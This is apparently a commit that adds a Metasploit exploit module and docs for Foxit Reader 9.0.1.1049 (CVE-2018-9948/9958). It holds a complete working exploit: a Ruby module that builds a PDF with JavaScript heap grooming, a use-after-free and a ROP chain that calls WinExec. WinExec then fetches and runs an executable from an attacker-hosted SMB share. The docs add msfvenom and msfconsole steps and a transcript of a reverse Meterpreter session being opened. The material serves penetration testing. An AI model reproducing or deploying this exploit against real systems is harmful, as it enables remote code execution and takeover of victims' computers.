Add Foxit Reader UAF Module and Docs
parent
61d0383b4f
commit
fd6880d0d0
|
@ -0,0 +1,69 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
Foxit Reader v9.0.1.1049 and earlier are affected by use-after-free and uninitialzed memory vulnerabilities that can be used to gain code execution. This module uses Uint32Array uninitialized memory and text annotation use-after-free vulnerabilities to call WinExec with a share file path to download and execute the specified exe. The module has been tested against Foxit Reader v9.0.1.1049 running on Windows 10 Pro x64 Build 17134.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
[Foxit Reader v9.0.1.1049](https://www.exploit-db.com/apps/1040d634123948886f664afc95ec0a5e-FoxitReader901_enu_Setup_Prom.exe) and earlier
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. `./msfvenom -p windows/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> --arch x86 -f exe /share/path/tmp.exe`
|
||||||
|
2. `chmod 777 /share/path/tmp.exe`
|
||||||
|
3. `./msfconsole -qx 'use exploit/windows/fileformat/foxit_reader_uaf ; set exename tmp.exe ; set share <share> ; set lhost <lhost> ; run`
|
||||||
|
4. `use multi/handler`
|
||||||
|
5. `set payload windows/meterpreter/reverse_tcp`
|
||||||
|
6. `set lhost <lhost>`
|
||||||
|
9. `run -j`
|
||||||
|
10. Copy pdf over to target. Start Foxit Reader then open pdf from Foxit's Menu.
|
||||||
|
|
||||||
|
Note: The target machine running Foxit Reader will need network access to the system hosting the exe.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Foxit Reader v9.0.1.1049 running on Windows 10 Pro x64 Build 17134
|
||||||
|
|
||||||
|
```
|
||||||
|
msfdev@simulator:~/git/metasploit-framework
|
||||||
|
$ ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.22.222.197 LPORT=4444 --arch x86 -f exe -o /opt/malicious/tmp.exe
|
||||||
|
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
|
||||||
|
No encoder or badchars specified, outputting raw payload
|
||||||
|
Payload size: 341 bytes
|
||||||
|
Final size of exe file: 73802 bytes
|
||||||
|
Saved as: /opt/malicious/tmp.exe
|
||||||
|
msfdev@simulator:~/git/metasploit-framework
|
||||||
|
$ chmod 777 /opt/malicious/tmp.exe
|
||||||
|
msfdev@simulator:~/git/metasploit-framework
|
||||||
|
$ ./msfconsole -qx 'use exploit/windows/fileformat/foxit_reader_uaf ; set exename tmp.exe ; set share tmp ; set lhost 172.22.222.197 ; run '
|
||||||
|
exename => tmp.exe
|
||||||
|
share => tmp
|
||||||
|
lhost => 172.22.222.197
|
||||||
|
[*] share_path: \\172.22.222.197\tmp\tmp.exe
|
||||||
|
[+] test.pdf stored at /home/msfdev/.msf4/local/test.pdf
|
||||||
|
msf5 exploit(windows/fileformat/foxit_reader_uaf) > use multi/handler
|
||||||
|
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
|
||||||
|
payload => windows/meterpreter/reverse_tcp
|
||||||
|
msf5 exploit(multi/handler) > set lhost 172.22.222.197
|
||||||
|
lhost => 172.22.222.197
|
||||||
|
msf5 exploit(multi/handler) > set exitonsession false
|
||||||
|
exitonsession => false
|
||||||
|
msf5 exploit(multi/handler) > run -j
|
||||||
|
[*] Exploit running as background job 0.
|
||||||
|
[*] Started reverse TCP handler on 172.22.222.197:4444
|
||||||
|
[*] Sending stage (179779 bytes) to 172.22.222.200
|
||||||
|
[*] Meterpreter session 1 opened (172.22.222.197:4444 -> 172.22.222.200:49673) at 2018-08-21 07:50:34 -0500
|
||||||
|
|
||||||
|
msf5 exploit(multi/handler) > sessions -i 1
|
||||||
|
[*] Starting interaction with 1...
|
||||||
|
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : DESKTOP
|
||||||
|
OS : Windows 10 (Build 17134).
|
||||||
|
Architecture : x64
|
||||||
|
System Language : en_US
|
||||||
|
Domain : WORKGROUP
|
||||||
|
Logged On Users : 2
|
||||||
|
Meterpreter : x86/windows
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: DESKTOP\msfdev
|
||||||
|
```
|
|
@ -0,0 +1,218 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FILEFORMAT
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Foxit PDF Reader Pointer Overwrite UAF',
|
||||||
|
'Description' => %q{
|
||||||
|
Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability
|
||||||
|
in the Text Annotations component and the TypedArray's use
|
||||||
|
uninitialized pointers.
|
||||||
|
|
||||||
|
The vulnerabilities can be combined to leak a vtable memory address,
|
||||||
|
which can be adjusted to point to the base address of the executable.
|
||||||
|
A ROP chain can be constructed that will execute when Foxit Reader
|
||||||
|
performs the UAF.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'mr_me', # Use-after-free and PoC
|
||||||
|
'bit from meepwn', # Uninitialized pointer
|
||||||
|
'saelo', # JavaScript Garbage Collector
|
||||||
|
'Jacob Robles' # Metasploit Module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2018-9948'],
|
||||||
|
['CVE', '2018-9958'],
|
||||||
|
['ZDI', '18-332'],
|
||||||
|
['ZDI', '18-342'],
|
||||||
|
['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'],
|
||||||
|
['URL', 'https://srcincite.io/pocs/cve-2018-9958.pdf.txt']
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'DisablePayloadHandler' => true,
|
||||||
|
'FILENAME' => 'test.pdf',
|
||||||
|
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Windows 10 Pro x64 Build 17134', {}]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Apr 20 2018',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('EXENAME', [false, 'EXE file to download', '']),
|
||||||
|
OptString.new('SHARE', [false, 'SMB share hosting exe', ''])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def pdfdoc
|
||||||
|
share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['SHARE']
|
||||||
|
fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
|
||||||
|
fname << '.exe' unless fname.ends_with?('.exe')
|
||||||
|
|
||||||
|
share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}"
|
||||||
|
num = 4 - (share_path.length % 4)
|
||||||
|
share_path << "\x00"*num
|
||||||
|
return nil if share_path.length > 44
|
||||||
|
|
||||||
|
print_status("share_path: #{share_path}")
|
||||||
|
|
||||||
|
rop = ''
|
||||||
|
max_index = 0
|
||||||
|
share_path.unpack('V*').each_with_index {|blk, index|
|
||||||
|
rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk]
|
||||||
|
max_index = index
|
||||||
|
}
|
||||||
|
|
||||||
|
(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)}
|
||||||
|
|
||||||
|
<<~PDFDOC
|
||||||
|
%PDF
|
||||||
|
1 0 obj
|
||||||
|
<</Pages 1 0 R /OpenAction 2 0 R>>
|
||||||
|
2 0 obj
|
||||||
|
<</S /JavaScript /JS (
|
||||||
|
|
||||||
|
var heap_ptr = 0;
|
||||||
|
var foxit_base = 0;
|
||||||
|
var pwn_array = [];
|
||||||
|
|
||||||
|
function prepare_heap(size){
|
||||||
|
var arr = new Array(size);
|
||||||
|
for(var i = 0; i < size; i++){
|
||||||
|
arr[i] = this.addAnnot({type: "Text"});;
|
||||||
|
if (typeof arr[i] == "object"){
|
||||||
|
arr[i].destroy();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function gc() {
|
||||||
|
const maxMallocBytes = 128 * 0x100000;
|
||||||
|
for (var i = 0; i < 3; i++) {
|
||||||
|
var x = new ArrayBuffer(maxMallocBytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function alloc_at_leak(){
|
||||||
|
for (var i = 0; i < 0x64; i++){
|
||||||
|
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function control_memory(){
|
||||||
|
for (var i = 0; i < 0x64; i++){
|
||||||
|
for (var j = 0; j < pwn_array[i].length; j++){
|
||||||
|
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function leak_vtable(){
|
||||||
|
var a = this.addAnnot({type: "Text"});
|
||||||
|
|
||||||
|
a.destroy();
|
||||||
|
gc();
|
||||||
|
|
||||||
|
prepare_heap(0x400);
|
||||||
|
var test = new ArrayBuffer(0x60);
|
||||||
|
var stolen = new Int32Array(test);
|
||||||
|
|
||||||
|
var leaked = stolen[0] & 0xffff0000;
|
||||||
|
foxit_base = leaked - 0x01f50000;
|
||||||
|
}
|
||||||
|
|
||||||
|
function leak_heap_chunk(){
|
||||||
|
var a = this.addAnnot({type: "Text"});
|
||||||
|
a.destroy();
|
||||||
|
prepare_heap(0x400);
|
||||||
|
|
||||||
|
var test = new ArrayBuffer(0x60);
|
||||||
|
var stolen = new Int32Array(test);
|
||||||
|
|
||||||
|
alloc_at_leak();
|
||||||
|
heap_ptr = stolen[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
function reclaim(){
|
||||||
|
var arr = new Array(0x10);
|
||||||
|
for (var i = 0; i < arr.length; i++) {
|
||||||
|
arr[i] = new ArrayBuffer(0x60);
|
||||||
|
var rop = new Int32Array(arr[i]);
|
||||||
|
|
||||||
|
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
|
||||||
|
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
|
||||||
|
rop[0x02] = 0x72727272; // junk
|
||||||
|
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
|
||||||
|
rop[0x04] = 0xffffffff; // ret of WinExec
|
||||||
|
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
|
||||||
|
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
|
||||||
|
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
|
||||||
|
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
|
||||||
|
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
|
||||||
|
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
|
||||||
|
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
|
||||||
|
#{rop}
|
||||||
|
rop[0x17] = 0x00000000; // adios, amigo
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function trigger_uaf(){
|
||||||
|
var that = this;
|
||||||
|
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
|
||||||
|
var arr = [1];
|
||||||
|
Object.defineProperties(arr,{
|
||||||
|
"0":{
|
||||||
|
get: function () {
|
||||||
|
|
||||||
|
that.getAnnot(0, "uaf").destroy();
|
||||||
|
|
||||||
|
reclaim();
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
a.point = arr;
|
||||||
|
}
|
||||||
|
|
||||||
|
function main(){
|
||||||
|
leak_heap_chunk();
|
||||||
|
leak_vtable();
|
||||||
|
control_memory();
|
||||||
|
trigger_uaf();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (app.platform == "WIN"){
|
||||||
|
if (app.isFoxit == "Foxit Reader"){
|
||||||
|
if (app.appFoxitVersion == "9.0.1.1049"){
|
||||||
|
main();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
)>> trailer <</Root 1 0 R>>
|
||||||
|
PDFDOC
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
mypdf = pdfdoc
|
||||||
|
if mypdf.nil?
|
||||||
|
fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
|
||||||
|
end
|
||||||
|
file_create(mypdf)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue